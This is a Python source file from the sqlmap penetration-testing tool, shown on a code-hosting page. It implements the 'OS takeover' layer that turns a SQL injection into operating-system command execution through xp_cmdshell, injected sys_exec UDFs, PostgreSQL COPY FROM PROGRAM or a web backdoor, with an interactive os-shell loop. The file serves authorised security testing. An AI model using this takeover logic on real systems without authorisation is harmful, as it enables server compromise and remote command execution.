Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
sqlmapproject
GitHub Repository: sqlmapproject/sqlmap
Path: blob/master/lib/takeover/abstraction.py
2989 views
1
#!/usr/bin/env python
2
3
"""
4
Copyright (c) 2006-2025 sqlmap developers (https://sqlmap.org)
5
See the file 'LICENSE' for copying permission
6
"""
7
8
from __future__ import print_function
9
10
import sys
11
12
from lib.core.common import Backend
13
from lib.core.common import dataToStdout
14
from lib.core.common import getSQLSnippet
15
from lib.core.common import isStackingAvailable
16
from lib.core.common import readInput
17
from lib.core.convert import getUnicode
18
from lib.core.data import conf
19
from lib.core.data import kb
20
from lib.core.data import logger
21
from lib.core.enums import AUTOCOMPLETE_TYPE
22
from lib.core.enums import DBMS
23
from lib.core.enums import OS
24
from lib.core.exception import SqlmapFilePathException
25
from lib.core.exception import SqlmapUnsupportedFeatureException
26
from lib.core.shell import autoCompletion
27
from lib.request import inject
28
from lib.takeover.udf import UDF
29
from lib.takeover.web import Web
30
from lib.takeover.xp_cmdshell import XP_cmdshell
31
from lib.utils.safe2bin import safechardecode
32
from thirdparty.six.moves import input as _input
33
34
class Abstraction(Web, UDF, XP_cmdshell):
35
"""
36
This class defines an abstraction layer for OS takeover functionalities
37
to UDF / XP_cmdshell objects
38
"""
39
40
def __init__(self):
41
self.envInitialized = False
42
self.alwaysRetrieveCmdOutput = False
43
44
UDF.__init__(self)
45
Web.__init__(self)
46
XP_cmdshell.__init__(self)
47
48
def execCmd(self, cmd, silent=False):
49
if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
50
self.copyExecCmd(cmd)
51
52
elif self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail):
53
self.webBackdoorRunCmd(cmd)
54
55
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
56
self.udfExecCmd(cmd, silent=silent)
57
58
elif Backend.isDbms(DBMS.MSSQL):
59
self.xpCmdshellExecCmd(cmd, silent=silent)
60
61
else:
62
errMsg = "Feature not yet implemented for the back-end DBMS"
63
raise SqlmapUnsupportedFeatureException(errMsg)
64
65
def evalCmd(self, cmd, first=None, last=None):
66
retVal = None
67
68
if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
69
retVal = self.copyExecCmd(cmd)
70
71
elif self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail):
72
retVal = self.webBackdoorRunCmd(cmd)
73
74
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
75
retVal = self.udfEvalCmd(cmd, first, last)
76
77
elif Backend.isDbms(DBMS.MSSQL):
78
retVal = self.xpCmdshellEvalCmd(cmd, first, last)
79
80
else:
81
errMsg = "Feature not yet implemented for the back-end DBMS"
82
raise SqlmapUnsupportedFeatureException(errMsg)
83
84
return safechardecode(retVal)
85
86
def runCmd(self, cmd):
87
choice = None
88
89
if not self.alwaysRetrieveCmdOutput:
90
message = "do you want to retrieve the command standard "
91
message += "output? [Y/n/a] "
92
choice = readInput(message, default='Y').upper()
93
94
if choice == 'A':
95
self.alwaysRetrieveCmdOutput = True
96
97
if choice == 'Y' or self.alwaysRetrieveCmdOutput:
98
output = self.evalCmd(cmd)
99
100
if output:
101
conf.dumper.string("command standard output", output)
102
else:
103
dataToStdout("No output\n")
104
else:
105
self.execCmd(cmd)
106
107
def shell(self):
108
if self.webBackdoorUrl and (not isStackingAvailable() or kb.udfFail):
109
infoMsg = "calling OS shell. To quit type "
110
infoMsg += "'x' or 'q' and press ENTER"
111
logger.info(infoMsg)
112
113
else:
114
if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
115
infoMsg = "going to use 'COPY ... FROM PROGRAM ...' "
116
infoMsg += "command execution"
117
logger.info(infoMsg)
118
119
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
120
infoMsg = "going to use injected user-defined functions "
121
infoMsg += "'sys_eval' and 'sys_exec' for operating system "
122
infoMsg += "command execution"
123
logger.info(infoMsg)
124
125
elif Backend.isDbms(DBMS.MSSQL):
126
infoMsg = "going to use extended procedure 'xp_cmdshell' for "
127
infoMsg += "operating system command execution"
128
logger.info(infoMsg)
129
130
else:
131
errMsg = "feature not yet implemented for the back-end DBMS"
132
raise SqlmapUnsupportedFeatureException(errMsg)
133
134
infoMsg = "calling %s OS shell. To quit type " % (Backend.getOs() or "Windows")
135
infoMsg += "'x' or 'q' and press ENTER"
136
logger.info(infoMsg)
137
138
autoCompletion(AUTOCOMPLETE_TYPE.OS, OS.WINDOWS if Backend.isOs(OS.WINDOWS) else OS.LINUX)
139
140
while True:
141
command = None
142
143
try:
144
command = _input("os-shell> ")
145
command = getUnicode(command, encoding=sys.stdin.encoding)
146
except UnicodeDecodeError:
147
pass
148
except KeyboardInterrupt:
149
print()
150
errMsg = "user aborted"
151
logger.error(errMsg)
152
except EOFError:
153
print()
154
errMsg = "exit"
155
logger.error(errMsg)
156
break
157
158
if not command:
159
continue
160
161
if command.lower() in ("x", "q", "exit", "quit"):
162
break
163
164
self.runCmd(command)
165
166
def _initRunAs(self):
167
if not conf.dbmsCred:
168
return
169
170
if not conf.direct and not isStackingAvailable():
171
errMsg = "stacked queries are not supported hence sqlmap cannot "
172
errMsg += "execute statements as another user. The execution "
173
errMsg += "will continue and the DBMS credentials provided "
174
errMsg += "will simply be ignored"
175
logger.error(errMsg)
176
177
return
178
179
if Backend.isDbms(DBMS.MSSQL):
180
msg = "on Microsoft SQL Server 2005 and 2008, OPENROWSET function "
181
msg += "is disabled by default. This function is needed to execute "
182
msg += "statements as another DBMS user since you provided the "
183
msg += "option '--dbms-creds'. If you are DBA, you can enable it. "
184
msg += "Do you want to enable it? [Y/n] "
185
186
if readInput(msg, default='Y', boolean=True):
187
expression = getSQLSnippet(DBMS.MSSQL, "configure_openrowset", ENABLE="1")
188
inject.goStacked(expression)
189
190
# TODO: add support for PostgreSQL
191
# elif Backend.isDbms(DBMS.PGSQL):
192
# expression = getSQLSnippet(DBMS.PGSQL, "configure_dblink", ENABLE="1")
193
# inject.goStacked(expression)
194
195
def initEnv(self, mandatory=True, detailed=False, web=False, forceInit=False):
196
self._initRunAs()
197
198
if self.envInitialized and not forceInit:
199
return
200
201
if web:
202
self.webInit()
203
else:
204
self.checkDbmsOs(detailed)
205
206
if mandatory and not self.isDba():
207
warnMsg = "functionality requested probably does not work because "
208
warnMsg += "the current session user is not a database administrator"
209
210
if not conf.dbmsCred and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL):
211
warnMsg += ". You can try to use option '--dbms-cred' "
212
warnMsg += "to execute statements as a DBA user if you "
213
warnMsg += "were able to extract and crack a DBA "
214
warnMsg += "password by any mean"
215
216
logger.warning(warnMsg)
217
218
if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
219
success = True
220
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
221
success = self.udfInjectSys()
222
223
if success is not True:
224
msg = "unable to mount the operating system takeover"
225
raise SqlmapFilePathException(msg)
226
elif Backend.isDbms(DBMS.MSSQL):
227
if mandatory:
228
self.xpCmdshellInit()
229
else:
230
errMsg = "feature not yet implemented for the back-end DBMS"
231
raise SqlmapUnsupportedFeatureException(errMsg)
232
233
self.envInitialized = True
234
235